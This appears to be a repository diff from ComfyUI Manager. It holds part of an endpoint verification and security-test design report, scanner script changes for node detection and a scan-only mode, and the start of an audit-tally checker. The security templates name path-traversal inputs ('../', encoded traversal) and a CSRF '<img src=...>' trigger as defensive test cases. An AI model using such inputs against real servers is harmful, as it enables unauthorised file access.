- **Action (UI)**: open pack's "Disabled Versions" dropdown
- **Observable**: dropdown options
- **Assertion**: options match backend disabled_versions response
## 6.7 POST /v2/customnode/install/git_url
### Goal LGU1 — Install via "Install via Git URL" button
- **Precondition**: security_level ≥ high+; pack absent
- **Action (UI)**: click button → enter URL → confirm
- **Observable**: custom_nodes/<pack>/ + .git/
- **Assertion**: pack cloned; UI reflects
### Goal LGU2 — Security gate
- **Precondition**: security_level < high+
- **Assertion**: 403 from API; UI shows error; no clone occurs
## 6.8 POST /v2/customnode/install/pip
### Goal LPP1 — Install pip packages via UI
- **Action (UI)**: trigger pip install flow with known package
- **Observable**: venv site-packages
- **Assertion**: package importable after install
### Goal LPP2 — Security gate
- **Assertion**: 403 at lower security; no pip invocation
## 6.9 GET /v2/manager/notice
### Goal LN1 — Fetch and display News
- **Precondition**: GitHub reachable
- **Action**: GET manager/notice (triggered on Manager menu open)
- **Assertion**: HTML response; contains expected markdown-body content; footer has ComfyUI + Manager version
### Goal LN2 — Graceful on GitHub unreachable
- **Precondition**: network blocked
- **Assertion**: "Unable to retrieve Notice" returned; no server crash; UI shows message
### Goal LN3 — Non-git ComfyUI warning
- **Precondition**: ComfyUI dir not a git repo
- **Assertion**: response starts with "isn't git repo" warning paragraph
### Goal LN4 — Outdated ComfyUI warning
- **Precondition**: comfy_ui_commit_datetime.date() < required_commit_datetime.date()
- **Assertion**: response starts with "too OUTDATED!!!" paragraph
---
# Section 7 — Cross-cutting Intent Pattern Templates
Reusable verification templates organized by intent category. Apply the template to any scenario of that type.
## 7.1 User Capability Template
**Goal**: User accomplishes task X.
**Verification structure**:
1. **Precondition check**: state is F0 (function not yet performed)
2. **Invoke action**: endpoint call or UI interaction
3. **Wait for completion**: poll status endpoint OR WebSocket event OR filesystem observer
4. **Observable assertions** (in order):
- Response status 2xx
- Response body schema correct
- Side-effect state is F1 (function performed)
- Secondary state changes (counters, history, lists) reflect the change
5. **Negative checks**:
- No orphan state (partial writes, stale locks)
- Other unrelated state unchanged (blast radius contained)
6. **Cleanup**: restore F0 where possible (for idempotent tests)
**Examples in this report**: A1, A2, U1, UP1, D1, E1, IM1, UA1, R1, S1, SS1, SR1, C2, C5, V3, CV3, LB1-LB5, LGU1, LPP1
## 7.2 Input Resilience Template
**Goal**: Bad input must be rejected without side effects.
**Verification structure**:
1. **Precondition**: system in known-good state S0
2. **Action**: send malformed/invalid input (craft variants per endpoint):
- Malformed JSON (raw text, wrong Content-Type)
- Missing required field
- Wrong type for field
- Out-of-range value
- Extraneous unexpected field (should be ignored)
3. **Observable assertions**:
- Response 4xx (400 typical; 500 only if server constraint like KeyError)
- Error message identifies the problem (if surfaced)
4. **Negative checks** (the critical part):
- State S1 == S0 (no mutation)
- Queue/history not populated
- Filesystem unchanged
- No downstream side effects (no email, no download, no process start)
**Examples**: A4, A5, U1 (missing target), IM2, UA3, UC2 edges, QH2, IF2, IF3, IFB2, C3, LV2
## 7.3 Security Boundary Template
**Goal**: Operations requiring privilege X must fail at lower privilege.
**Verification structure**:
1. **Precondition**: server running at specific `security_level` below the gate
2. **Action**: invoke the privileged endpoint
3. **Observable assertions**:
- Response 403
- Server log contains security-denied message
4. **Critical negative checks**:
- NO task queued
- NO filesystem change
- NO network operation initiated
- NO config change
- NO process change (no restart, no exit)
5. **Positive counterpart**: at or above required level, operation succeeds
**Security tiers to cover**:
- `middle` — reboot, snapshot/remove, _uninstall, _update
- `middle+` — update_all, snapshot/restore, _install_custom_node, _install_model
- `high+` — comfyui_switch_version, install/git_url, install/pip, non-safetensors model, _fix (`middle` → `high` in commit `c8992e5d`; subsequent `high` → `high+` in WI-#235 to align the gate with the `SECURITY_MESSAGE_HIGH_P` log text)
**Path-traversal sub-template** (within security boundary):
1. Action: request with `../`, absolute path, encoded traversal
2. Assertion: 400 "Invalid target" or similar
3. Negative check: target file unchanged; no files outside the endpoint's scope accessed
**Examples**: IM4, UA2, SR3, SR4, SR6, V5, CV4, LGU2, LPP2, QH2
## 7.4 Observability Template
**Goal**: Caller can trust the response to reflect actual system state.
**Verification structure**:
1. **Establish known state**: inject a known delta (queue a task, install a pack, save a snapshot)
2. **Read endpoint**: GET the observability endpoint
3. **Assertion**: response reflects the known delta
4. **Consistency check**: read again immediately; result identical (no race/jitter)
5. **Schema check**: all expected fields present with correct types
**Required-identity fields** (traceability sub-pattern):
- client_id + ui_id must be present in inputs for all state-mutating endpoints
- Verify that history/status queries can locate tasks by these IDs
**Examples**: QS1, QS2, QH1, QH3, IL1, IL2, SL1, C1, V1, V2, CV1, LG1, LM1, LM2, LV1, LDV1
## 7.5 Idempotency Template
**Goal**: Re-invoking an operation on an already-satisfied state is safe.
**Verification structure**:
1. **Invoke operation** to reach state F1
2. **Invoke same operation again** (no intermediate state change)
3. **Assertions**:
- Response 2xx (same or semantically equivalent status, e.g., 200/201)
- State remains F1 (no regression, no duplicate)
- No error raised
4. **Stress variant**: invoke N times in rapid succession; ensure no race condition
**Examples**: U2, UP2, D2, E2, R2, S2, SS2 (distinct but both succeed), SR2, C6
## 7.6 Data Integrity Template
**Goal**: Config / runtime constants remain stable and consistent.
**Verification structure**:
1. **Read constant twice** (consecutive or across operations)
2. **Assertion**: identical values
3. **Persistence across restart**: set value → reboot → re-read
4. **Assertion**: value persisted
**Examples**: V1 (version idempotent), C2 (db_mode survives restart), CV1 (versions list stable)
## 7.7 Recovery Template
**Goal**: System can recover from failure or drifted state.
**Verification structure**:
1. **Induce failure state**: delete dependency, corrupt a file, disable a pack
2. **Invoke recovery operation**: fix, restore, re-enable
3. **Assertion**: state is healthy again; pack/module loads
4. **Negative check**: no data loss; original files preserved where applicable
**Examples**: F1 (fix dependency), E1 (enable disabled), SR5 (restore snapshot)
## 7.8 Concurrency Safety Template
**Goal**: Parallel or duplicated operations don't corrupt state.
**Verification structure**:
1. **Setup parallel trigger**: fire multiple start/reset/task commands in rapid succession
2. **Assertions**:
- No duplicate worker thread (single pid in logs)
- No task processed twice (idempotent task-id check)
- No race-condition data corruption (e.g., half-written config)
3. **Stress test variant**: N parallel requests, assert linearized outcome
**Examples**: S2 (duplicate start), R1 (reset during processing)
---
# Section 8 — Verification Matrix Summary
| Intent category | Template | Scenarios using | Test type needed |
|---|---|---:|---|
| User capability | 7.1 | 62 | E2E effect verification (real install/remove/save etc.) |
| Input resilience | 7.2 | 32 | Negative tests with negative-check assertions |
| Security boundary | 7.3 | 15 | Permission tests at each security level |
| Observability | 7.4 | 16 | GET correctness + traceability tests |
| Idempotency | 7.5 | 14 | Repeat-call tests |
| Data integrity | 7.6 | 8 | Cross-restart persistence tests |
| Recovery | 7.7 | 5 | Fault-injection tests |
| Concurrency safety | 7.8 | 2 | Parallel-call stress tests |
---
# Section 9 — Practical Implementation Priority
Based on security impact + existing coverage gaps:
## 🔴 Must-add (security + integrity)
1. **Path traversal tests** for snapshot/remove, snapshot/restore, queue/history (Section 7.3 path sub-template)
2. **Security gate 403 tests** for each tier — requires running with restricted security_level in separate test run
3. **Config persistence across restart** — set db_mode → reboot → verify (Section 7.6)
## 🟡 Should-add (coverage quality)
4. **UI-driven install/uninstall flow** (LB1-LB3) — convert debug-install-flow.spec.ts to assertion test
5. **install_model effect** — current test only checks 200; add queue/status verification (Goal IM1)
6. **Fix recovery test** — induce broken dependency, verify fix heals (Goal F1)
## 🟢 Nice-to-have
7. Concurrency tests (duplicate queue/start; parallel task queueing)
8. get_current snapshot content fidelity — compare to actual installed state
9. Update version bump verification — test install v1.0.0 → update → expect v1.0.1 marker
---
# Section 10 — Security Mitigation Contracts
Layer: CSRF method-rejection (GET→POST conversion, commit `99caef55`). This section formalizes the contract exercised by TWO test files — one per server variant (mutex loading via `--enable-manager-legacy-ui`):
- `tests/e2e/test_e2e_csrf.py` — glob server (4 functions / 26 parametrized invocations — post-WI-HH; was 29 before the 3 dual-purpose endpoints were removed from the reject-GET fixture)
- `tests/e2e/test_e2e_csrf_legacy.py` — legacy server (4 functions / 26 parametrized invocations; WI-FF added, WI-GG audit-integrated)
Scope is deliberately narrow — see each test file's SCOPE docstring: only the method-reject layer, not Origin/Referer/same-site/anti-token defenses (those are handled by `origin_only_middleware` at the aiohttp layer and are out of scope here). The full 16-endpoint inventory is recorded in `reports/endpoint_scenarios.md` under "CSRF Method-Reject Contract Inventory"; the legacy file substitutes `/v2/manager/queue/batch` for `/v2/manager/queue/task` (glob-only) and scopes the 3 dual-purpose endpoints (`db_mode`, `policy/update`, `channel_url_list`) to the ALLOW-GET class only.
## 10.1 CSRF Method-Reject Contract
### Goal CSRF-M1 — State-changing endpoints reject HTTP GET (13 endpoints, post-WI-HH)
- **Precondition**: ComfyUI running; the 13 state-changing endpoints from `STATE_CHANGING_POST_ENDPOINTS` declared as `@routes.post(...)` in `comfyui_manager/glob/manager_server.py` (mirror in `comfyui_manager/legacy/manager_server.py`) — post-WI-HH count; excludes the 3 dual-purpose endpoints (`db_mode`, `policy/update`, `channel_url_list`) whose GET path legitimately reads the current value
- **Action**: HTTP GET to each endpoint path (no body, `allow_redirects=False`, module-scoped ComfyUI fixture)
- **Observable**: HTTP status code; response body (first 200 chars on failure)
- **Assertion**: `status_code not in range(200, 400)` AND `status_code in (400, 403, 404, 405)` for every path in the 13-endpoint fixture (post-WI-HH; the legacy counterpart also iterates 13 paths after substituting `queue/batch` for `queue/task`)
- **Negative check**: no 2xx success and no 3xx redirect on any state-changing path (blocks `<img src=...>`, link-click, and redirect-based cross-origin triggers — CVSS 8.1 vector from XlabAI/Tencent Xuanwu report)
- **Test reference** (glob): `tests/e2e/test_e2e_csrf.py::TestStateChangingEndpointsRejectGet::test_get_is_rejected` (1 function × 13 parametrized invocations — post-WI-HH)
- **Test reference** (legacy): `tests/e2e/test_e2e_csrf_legacy.py::TestLegacyStateChangingEndpointsRejectGet::test_get_is_rejected` (1 function × 13 parametrized invocations — `queue/batch` replaces `queue/task`; the 3 dual-purpose endpoints are covered via the read-path under CSRF-M3)
### Goal CSRF-M2 — POST counterparts still succeed (positive control)
- **Precondition**: ComfyUI running; clean snapshot state
- **Action**: POST `/v2/manager/queue/reset` (no-op reset), then POST `/v2/snapshot/save` (creates a snapshot, cleaned up via `/v2/snapshot/remove`)
- **Observable**: HTTP 200 response on both POSTs; on save, the new entry is observable via `/v2/snapshot/getlist`
- **Assertion**: `status_code == 200` for both POSTs; cleanup removes the just-created snapshot
- **Negative check**: the CSRF fix must NOT break the legitimate POST path (regression guard — functional equivalence of the converted endpoints must hold)
- **Test reference** (glob): `tests/e2e/test_e2e_csrf.py::TestCsrfPostWorks` (2 functions: `test_queue_reset_post_works`, `test_snapshot_save_post_works`)
- **Test reference** (legacy): `tests/e2e/test_e2e_csrf_legacy.py::TestLegacyCsrfPostWorks` (2 functions — same endpoints, legacy server fixture)
### Goal CSRF-M3 — Read-only endpoints still allow GET (negative control, 11 endpoints)
- **Precondition**: ComfyUI running
- **Action**: HTTP GET to 11 read-only endpoints: `/v2/manager/version`, `/v2/manager/db_mode`, `/v2/manager/policy/update`, `/v2/manager/channel_url_list`, `/v2/manager/queue/status`, `/v2/manager/queue/history_list`, `/v2/manager/is_legacy_manager_ui`, `/v2/customnode/installed`, `/v2/snapshot/getlist`, `/v2/snapshot/get_current`, `/v2/comfyui_manager/comfyui_versions`
- **Observable**: HTTP status code
- **Assertion**: `status_code == 200` for every read-only path
- **Negative check**: the CSRF fix must NOT over-correct by making pure-read endpoints POST-only (would break UI flows that `<img>`-safe-read via GET). Note: the 3 dual-purpose endpoints (`db_mode`, `policy/update`, `channel_url_list`) appear in BOTH CSRF-M1 (write path requires POST; plain GET is rejected) AND CSRF-M3 (read path still answers GET 200); this dual appearance is intentional — they were split into GET (read) + POST (write) by 99caef55.
- **Test reference** (glob): `tests/e2e/test_e2e_csrf.py::TestCsrfReadEndpointsStillAllowGet::test_get_read_endpoint_succeeds` (1 function × 11 parametrized invocations)
- **Test reference** (legacy): `tests/e2e/test_e2e_csrf_legacy.py::TestLegacyCsrfReadEndpointsStillAllowGet::test_get_read_endpoint_succeeds` (1 function × 11 parametrized invocations — same endpoint list)
## 10.2 Out-of-Scope CSRF Layers (tracked for future verification)
- **Origin/Referer validation** — `origin_only_middleware` (aiohttp layer); not exercised by `test_e2e_csrf.py`
- **Same-site cookie enforcement** — browser-layer concern; not server-testable in isolation
- **Anti-CSRF token verification** — not implemented in current codebase
- **Cross-site form POST defense** — subsumed by Origin validation above
These remain Goals for future work; do not infer coverage from Goals CSRF-M1/M2/M3.
---
*End of Verification Design Report*
+3 -2
View File
@@ -1,8 +1,9 @@
GitPython
pygit2>=1.18 # clone_repository(proxy=...) requires 1.18.0+
PyGithub
matrix-nio
# matrix-nio
transformers
huggingface-hub>0.20
huggingface-hub
typer
rich
typing-extensions
+1 -1
View File
@@ -9,4 +9,4 @@ lint.select = [
"F",
]
exclude = ["*.ipynb"]
exclude = ["*.ipynb", "tests"]
+348 -62
View File
@@ -7,13 +7,15 @@ import concurrent
import datetime
import concurrent.futures
import requests
import warnings
import argparse
builtin_nodes = set()
import sys
from urllib.parse import urlparse
from github import Github
from github import Github, Auth
def download_url(url, dest_folder, filename=None):
@@ -39,26 +41,51 @@ def download_url(url, dest_folder, filename=None):
raise Exception(f"Failed to download file from {url}")
# prepare temp dir
if len(sys.argv) > 1:
temp_dir = sys.argv[1]
else:
temp_dir = os.path.join(os.getcwd(), ".tmp")
def parse_arguments():
"""Parse command-line arguments"""
parser = argparse.ArgumentParser(
description='ComfyUI Manager Node Scanner',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
# Standard mode
python3 scanner.py
python3 scanner.py --skip-update
if not os.path.exists(temp_dir):
os.makedirs(temp_dir)
# Scan-only mode
python3 scanner.py --scan-only temp-urls-clean.list
python3 scanner.py --scan-only urls.list --temp-dir /custom/temp
python3 scanner.py --scan-only urls.list --skip-update
'''
)
parser.add_argument('--scan-only', type=str, metavar='URL_LIST_FILE',
help='Scan-only mode: provide URL list file (one URL per line)')
parser.add_argument('--temp-dir', type=str, metavar='DIR',
help='Temporary directory for cloned repositories')
parser.add_argument('--skip-update', action='store_true',
help='Skip git clone/pull operations')
parser.add_argument('--skip-stat-update', action='store_true',
help='Skip GitHub stats collection')
parser.add_argument('--skip-all', action='store_true',
help='Skip all update operations')
# Backward compatibility: positional argument for temp_dir
parser.add_argument('temp_dir_positional', nargs='?', metavar='TEMP_DIR',
help='(Legacy) Temporary directory path')
args = parser.parse_args()
return args
skip_update = '--skip-update' in sys.argv or '--skip-all' in sys.argv
skip_stat_update = '--skip-stat-update' in sys.argv or '--skip-all' in sys.argv
if not skip_stat_update:
g = Github(os.environ.get('GITHUB_TOKEN'))
else:
g = None
print(f"TEMP DIR: {temp_dir}")
# Module-level variables (will be set in main if running as script)
args = None
scan_only_mode = False
url_list_file = None
temp_dir = None
skip_update = False
skip_stat_update = True
g = None
parse_cnt = 0
@@ -73,12 +100,22 @@ def extract_nodes(code_text):
parse_cnt += 1
code_text = re.sub(r'\\[^"\']', '', code_text)
parsed_code = ast.parse(code_text)
with warnings.catch_warnings():
warnings.filterwarnings('ignore', category=SyntaxWarning)
warnings.filterwarnings('ignore', category=DeprecationWarning)
parsed_code = ast.parse(code_text)
# Support both ast.Assign and ast.AnnAssign (for type-annotated assignments)
assignments = (node for node in parsed_code.body if isinstance(node, (ast.Assign, ast.AnnAssign)))
assignments = (node for node in parsed_code.body if isinstance(node, ast.Assign))
for assignment in assignments:
if isinstance(assignment.targets[0], ast.Name) and assignment.targets[0].id in ['NODE_CONFIG', 'NODE_CLASS_MAPPINGS']:
# Handle ast.AnnAssign (e.g., NODE_CLASS_MAPPINGS: Type = {...})
if isinstance(assignment, ast.AnnAssign):
if isinstance(assignment.target, ast.Name) and assignment.target.id in ['NODE_CONFIG', 'NODE_CLASS_MAPPINGS']:
node_class_mappings = assignment.value
break
# Handle ast.Assign (e.g., NODE_CLASS_MAPPINGS = {...})
elif isinstance(assignment.targets[0], ast.Name) and assignment.targets[0].id in ['NODE_CONFIG', 'NODE_CLASS_MAPPINGS']:
node_class_mappings = assignment.value
break
else:
@@ -90,7 +127,7 @@ def extract_nodes(code_text):
for key in node_class_mappings.keys:
if key is not None and isinstance(key.value, str):
s.add(key.value.strip())
return s
else:
return set()
@@ -98,6 +135,99 @@ def extract_nodes(code_text):
return set()
def has_comfy_node_base(class_node):
"""Check if class inherits from io.ComfyNode or ComfyNode"""
for base in class_node.bases:
# Case 1: ComfyNode
if isinstance(base, ast.Name) and base.id == 'ComfyNode':
return True
# Case 2: io.ComfyNode
elif isinstance(base, ast.Attribute):
if base.attr == 'ComfyNode':
return True
return False
def extract_keyword_value(call_node, keyword):
"""
Extract string value of keyword argument
Schema(node_id="MyNode") -> "MyNode"
"""
for kw in call_node.keywords:
if kw.arg == keyword:
# ast.Constant (Python 3.8+)
if isinstance(kw.value, ast.Constant):
if isinstance(kw.value.value, str):
return kw.value.value
# ast.Str (Python 3.7-) - suppress deprecation warning
else:
with warnings.catch_warnings():
warnings.filterwarnings('ignore', category=DeprecationWarning)
if hasattr(ast, 'Str') and isinstance(kw.value, ast.Str):
return kw.value.s
return None
def is_schema_call(call_node):
"""Check if ast.Call is io.Schema() or Schema()"""
func = call_node.func
if isinstance(func, ast.Name) and func.id == 'Schema':
return True
elif isinstance(func, ast.Attribute) and func.attr == 'Schema':
return True
return False
def extract_node_id_from_schema(class_node):
"""
Extract node_id from define_schema() method
"""
for item in class_node.body:
if isinstance(item, ast.FunctionDef) and item.name == 'define_schema':
# Walk through function body
for stmt in ast.walk(item):
if isinstance(stmt, ast.Call):
# Check if it's Schema() call
if is_schema_call(stmt):
node_id = extract_keyword_value(stmt, 'node_id')
if node_id:
return node_id
return None
def extract_v3_nodes(code_text):
"""
Extract V3 node IDs using AST parsing
Returns: set of node_id strings
"""
global parse_cnt
try:
if parse_cnt % 100 == 0:
print(".", end="", flush=True)
parse_cnt += 1
with warnings.catch_warnings():
warnings.filterwarnings('ignore', category=SyntaxWarning)
warnings.filterwarnings('ignore', category=DeprecationWarning)
tree = ast.parse(code_text)
except (SyntaxError, UnicodeDecodeError):
return set()
nodes = set()
# Find io.ComfyNode subclasses
for node in ast.walk(tree):
if isinstance(node, ast.ClassDef):
# Check if inherits from ComfyNode
if has_comfy_node_base(node):
node_id = extract_node_id_from_schema(node)
if node_id:
nodes.add(node_id)
return nodes
# scan
def scan_in_file(filename, is_builtin=False):
global builtin_nodes
@@ -105,13 +235,18 @@ def scan_in_file(filename, is_builtin=False):
with open(filename, encoding='utf-8', errors='ignore') as file:
code = file.read()
pattern = r"_CLASS_MAPPINGS\s*=\s*{([^}]*)}"
# Support type annotations (e.g., NODE_CLASS_MAPPINGS: Type = {...}) and line continuations (\)
pattern = r"_CLASS_MAPPINGS\s*(?::\s*\w+\s*)?=\s*(?:\\\s*)?{([^}]*)}"
regex = re.compile(pattern, re.MULTILINE | re.DOTALL)
nodes = set()
class_dict = {}
# V1 nodes detection
nodes |= extract_nodes(code)
# V3 nodes detection
nodes |= extract_v3_nodes(code)
code = re.sub(r'^#.*?$', '', code, flags=re.MULTILINE)
def extract_keys(pattern, code):
@@ -208,6 +343,53 @@ def get_nodes(target_dir):
return py_files, directories
def get_urls_from_list_file(list_file):
"""
Read URLs from list file for scan-only mode
Args:
list_file (str): Path to URL list file (one URL per line)
Returns:
list of tuples: [(url, "", None, None), ...]
Format: (url, title, preemptions, nodename_pattern)
- title: Empty string
- preemptions: None
- nodename_pattern: None
File format:
https://github.com/owner/repo1
https://github.com/owner/repo2
# Comments starting with # are ignored
Raises:
FileNotFoundError: If list_file does not exist
"""
if not os.path.exists(list_file):
raise FileNotFoundError(f"URL list file not found: {list_file}")
urls = []
with open(list_file, 'r', encoding='utf-8') as f:
for line_num, line in enumerate(f, 1):
line = line.strip()
# Skip empty lines and comments
if not line or line.startswith('#'):
continue
# Validate URL format (basic check)
if not (line.startswith('http://') or line.startswith('https://')):
print(f"WARNING: Line {line_num} is not a valid URL: {line}")
continue
# Add URL with empty metadata
# (url, title, preemptions, nodename_pattern)
urls.append((line, "", None, None))
print(f"Loaded {len(urls)} URLs from {list_file}")
return urls
def get_git_urls_from_json(json_file):
with open(json_file, encoding='utf-8') as file:
data = json.load(file)
@@ -264,13 +446,43 @@ def clone_or_pull_git_repository(git_url):
print(f"Failed to clone '{repo_name}': {e}")
def update_custom_nodes():
def update_custom_nodes(scan_only_mode=False, url_list_file=None):
"""
Update custom nodes by cloning/pulling repositories
Args:
scan_only_mode (bool): If True, use URL list file instead of custom-node-list.json
url_list_file (str): Path to URL list file (required if scan_only_mode=True)
Returns:
dict: node_info mapping {repo_name: (url, title, preemptions, node_pattern)}
"""
if not os.path.exists(temp_dir):
os.makedirs(temp_dir)
node_info = {}
git_url_titles_preemptions = get_git_urls_from_json('custom-node-list.json')
# Select URL source based on mode
if scan_only_mode:
if not url_list_file:
raise ValueError("url_list_file is required in scan-only mode")
git_url_titles_preemptions = get_urls_from_list_file(url_list_file)
print("\n[Scan-Only Mode]")
print(f" - URL source: {url_list_file}")
print(" - GitHub stats: DISABLED")
print(f" - Git clone/pull: {'ENABLED' if not skip_update else 'DISABLED'}")
print(" - Metadata: EMPTY")
else:
if not os.path.exists('custom-node-list.json'):
raise FileNotFoundError("custom-node-list.json not found")
git_url_titles_preemptions = get_git_urls_from_json('custom-node-list.json')
print("\n[Standard Mode]")
print(" - URL source: custom-node-list.json")
print(f" - GitHub stats: {'ENABLED' if not skip_stat_update else 'DISABLED'}")
print(f" - Git clone/pull: {'ENABLED' if not skip_update else 'DISABLED'}")
print(" - Metadata: FULL")
def process_git_url_title(url, title, preemptions, node_pattern):
name = os.path.basename(url)
@@ -382,46 +594,59 @@ def update_custom_nodes():
if not skip_stat_update:
process_git_stats(git_url_titles_preemptions)
# Git clone/pull for all repositories
with concurrent.futures.ThreadPoolExecutor(11) as executor:
for url, title, preemptions, node_pattern in git_url_titles_preemptions:
executor.submit(process_git_url_title, url, title, preemptions, node_pattern)
py_url_titles_and_pattern = get_py_urls_from_json('custom-node-list.json')
# .py file download (skip in scan-only mode - only process git repos)
if not scan_only_mode:
py_url_titles_and_pattern = get_py_urls_from_json('custom-node-list.json')
def download_and_store_info(url_title_preemptions_and_pattern):
url, title, preemptions, node_pattern = url_title_preemptions_and_pattern
name = os.path.basename(url)
if name.endswith(".py"):
node_info[name] = (url, title, preemptions, node_pattern)
def download_and_store_info(url_title_preemptions_and_pattern):
url, title, preemptions, node_pattern = url_title_preemptions_and_pattern
name = os.path.basename(url)
if name.endswith(".py"):
node_info[name] = (url, title, preemptions, node_pattern)
try:
download_url(url, temp_dir)
except Exception:
print(f"[ERROR] Cannot download '{url}'")
with concurrent.futures.ThreadPoolExecutor(10) as executor:
executor.map(download_and_store_info, py_url_titles_and_pattern)
with concurrent.futures.ThreadPoolExecutor(10) as executor:
executor.map(download_and_store_info, py_url_titles_and_pattern)
return node_info
def gen_json(node_info):
def gen_json(node_info, scan_only_mode=False):
"""
Generate extension-node-map.json from scanned node information
Args:
node_info (dict): Repository metadata mapping
scan_only_mode (bool): If True, exclude metadata from output
"""
# scan from .py file
node_files, node_dirs = get_nodes(temp_dir)
comfyui_path = os.path.abspath(os.path.join(temp_dir, "ComfyUI"))
node_dirs.remove(comfyui_path)
node_dirs = [comfyui_path] + node_dirs
# Only reorder if ComfyUI exists in the list
if comfyui_path in node_dirs:
node_dirs.remove(comfyui_path)
node_dirs = [comfyui_path] + node_dirs
data = {}
for dirname in node_dirs:
py_files = get_py_file_paths(dirname)
metadata = {}
nodes = set()
for py in py_files:
nodes_in_file, metadata_in_file = scan_in_file(py, dirname == "ComfyUI")
nodes.update(nodes_in_file)
# Include metadata from .py files in both modes
metadata.update(metadata_in_file)
dirname = os.path.basename(dirname)
@@ -436,17 +661,28 @@ def gen_json(node_info):
if dirname in node_info:
git_url, title, preemptions, node_pattern = node_info[dirname]
metadata['title_aux'] = title
# Conditionally add metadata based on mode
if not scan_only_mode:
# Standard mode: include all metadata
metadata['title_aux'] = title
if preemptions is not None:
metadata['preemptions'] = preemptions
if preemptions is not None:
metadata['preemptions'] = preemptions
if node_pattern is not None:
metadata['nodename_pattern'] = node_pattern
if node_pattern is not None:
metadata['nodename_pattern'] = node_pattern
# Scan-only mode: metadata remains empty
data[git_url] = (nodes, metadata)
else:
print(f"WARN: {dirname} is removed from custom-node-list.json")
# Scan-only mode: Repository not in node_info (expected behavior)
# Construct URL from dirname (author_repo format)
if '_' in dirname:
parts = dirname.split('_', 1)
git_url = f"https://github.com/{parts[0]}/{parts[1]}"
data[git_url] = (nodes, metadata)
else:
print(f"WARN: {dirname} is removed from custom-node-list.json")
for file in node_files:
nodes, metadata = scan_in_file(file)
@@ -459,13 +695,16 @@ def gen_json(node_info):
if file in node_info:
url, title, preemptions, node_pattern = node_info[file]
metadata['title_aux'] = title
if preemptions is not None:
metadata['preemptions'] = preemptions
if node_pattern is not None:
metadata['nodename_pattern'] = node_pattern
# Conditionally add metadata based on mode
if not scan_only_mode:
metadata['title_aux'] = title
if preemptions is not None:
metadata['preemptions'] = preemptions
if node_pattern is not None:
metadata['nodename_pattern'] = node_pattern
data[url] = (nodes, metadata)
else:
@@ -477,6 +716,10 @@ def gen_json(node_info):
for extension in extensions:
node_list_json_path = os.path.join(temp_dir, extension, 'node_list.json')
if os.path.exists(node_list_json_path):
# Skip if extension not in node_info (scan-only mode with limited URLs)
if extension not in node_info:
continue
git_url, title, preemptions, node_pattern = node_info[extension]
with open(node_list_json_path, 'r', encoding='utf-8') as f:
@@ -506,14 +749,16 @@ def gen_json(node_info):
print("------------------------------------------------------")
node_list_json = {}
metadata_in_url['title_aux'] = title
# Conditionally add metadata based on mode
if not scan_only_mode:
metadata_in_url['title_aux'] = title
if preemptions is not None:
metadata['preemptions'] = preemptions
if preemptions is not None:
metadata_in_url['preemptions'] = preemptions
if node_pattern is not None:
metadata_in_url['nodename_pattern'] = node_pattern
if node_pattern is not None:
metadata_in_url['nodename_pattern'] = node_pattern
nodes = list(nodes)
nodes.sort()
data[git_url] = (nodes, metadata_in_url)
@@ -523,12 +768,53 @@ def gen_json(node_info):
json.dump(data, file, indent=4, sort_keys=True)
print("### ComfyUI Manager Node Scanner ###")
if __name__ == "__main__":
# Parse arguments
args = parse_arguments()
print("\n# Updating extensions\n")
updated_node_info = update_custom_nodes()
# Determine mode
scan_only_mode = args.scan_only is not None
url_list_file = args.scan_only if scan_only_mode else None
print("\n# 'extension-node-map.json' file is generated.\n")
gen_json(updated_node_info)
# Determine temp_dir
if args.temp_dir:
temp_dir = args.temp_dir
elif args.temp_dir_positional:
temp_dir = args.temp_dir_positional
else:
temp_dir = os.path.join(os.getcwd(), ".tmp")
print("\nDONE.\n")
if not os.path.exists(temp_dir):
os.makedirs(temp_dir)
# Determine skip flags
skip_update = args.skip_update or args.skip_all
skip_stat_update = args.skip_stat_update or args.skip_all or scan_only_mode
if not skip_stat_update:
auth = Auth.Token(os.environ.get('GITHUB_TOKEN'))
g = Github(auth=auth)
else:
g = None
print("### ComfyUI Manager Node Scanner ###")
if scan_only_mode:
print(f"\n# [Scan-Only Mode] Processing URL list: {url_list_file}\n")
else:
print("\n# [Standard Mode] Updating extensions\n")
# Update/clone repositories and collect node info
updated_node_info = update_custom_nodes(scan_only_mode, url_list_file)
print("\n# Generating 'extension-node-map.json'...\n")
# Generate extension-node-map.json
gen_json(updated_node_info, scan_only_mode)
print("\n✅ DONE.\n")
if scan_only_mode:
print("Output: extension-node-map.json (node mappings only)")
else:
print("Output: extension-node-map.json (full metadata)")
+185
View File
@@ -0,0 +1,185 @@
#!/usr/bin/env python3
"""
Self-verify reports/e2e_verification_audit.md tally consistency.
For each test-file section, parse the verdict column of every row in the
section's table and count PASS / WEAK / INADEQUATE / N/A symbols. Cross-check
against (a) the section's own "File verdict: ..." line and (b) the Summary
Matrix row for that filename.
Exit 0 on full consistency, 1 on any mismatch.
"""
from __future__ import annotations
import os
import re
import sys
from pathlib import Path
AUDIT = Path(__file__).resolve().parent.parent / "reports" / "e2e_verification_audit.md"
PASS_SYM = "\u2705"
WEAK_SYM = "\u26a0"
INADEQ_SYM = "\u274c"
SECTION_RE = re.compile(
r"^(?:# Section \d+|## \d+\.)\s+\u2014?\s*(?P<file>\S+\.(?:py|spec\.ts))"
)
VERDICT_LINE_RE = re.compile(r"^\*\*File verdict\*\*:\s*(?P<body>.+)$")
SUMMARY_ROW_RE = re.compile(
r"^\|\s*(?P<file>[^|]+?)\s*\|"
r"\s*(?P<p>\d+)\s*\|"
r"\s*(?P<w>\d+)\s*\|"
r"\s*(?P<i>\d+)\s*\|"
r"\s*(?P<n>\d+)\s*\|"
r"\s*(?P<t>\d+)\s*\|\s*$"
)
TOTAL_ROW_RE = re.compile(
r"^\|\s*\*\*TOTAL\*\*\s*\|"
r"\s*\*\*(?P<p>\d+)\*\*\s*\|"
r"\s*\*\*(?P<w>\d+)\*\*\s*\|"
r"\s*\*\*(?P<i>\d+)\*\*\s*\|"
r"\s*\*\*(?P<n>\d+)\*\*\s*\|"
r"\s*\*\*(?P<t>\d+)\*\*\s*\|\s*$"
)
ALL_N_TESTS_RE = re.compile(r"All\s+(\d+)\s+tests", re.IGNORECASE)
def count_symbols(line: str) -> tuple[int, int, int, int]:
p = line.count(PASS_SYM)
w = line.count(WEAK_SYM)
i = line.count(INADEQ_SYM)
n = 0
if re.search(r"\|\s*N/A\s*\|", line) or re.search(r"\|\s*N/A\s*\u2014", line):
bulk = ALL_N_TESTS_RE.search(line)
n = int(bulk.group(1)) if bulk else 1
return p, w, i, n
def parse_file_verdict(body: str) -> tuple[int, int, int, int]:
p = w = i = n = 0
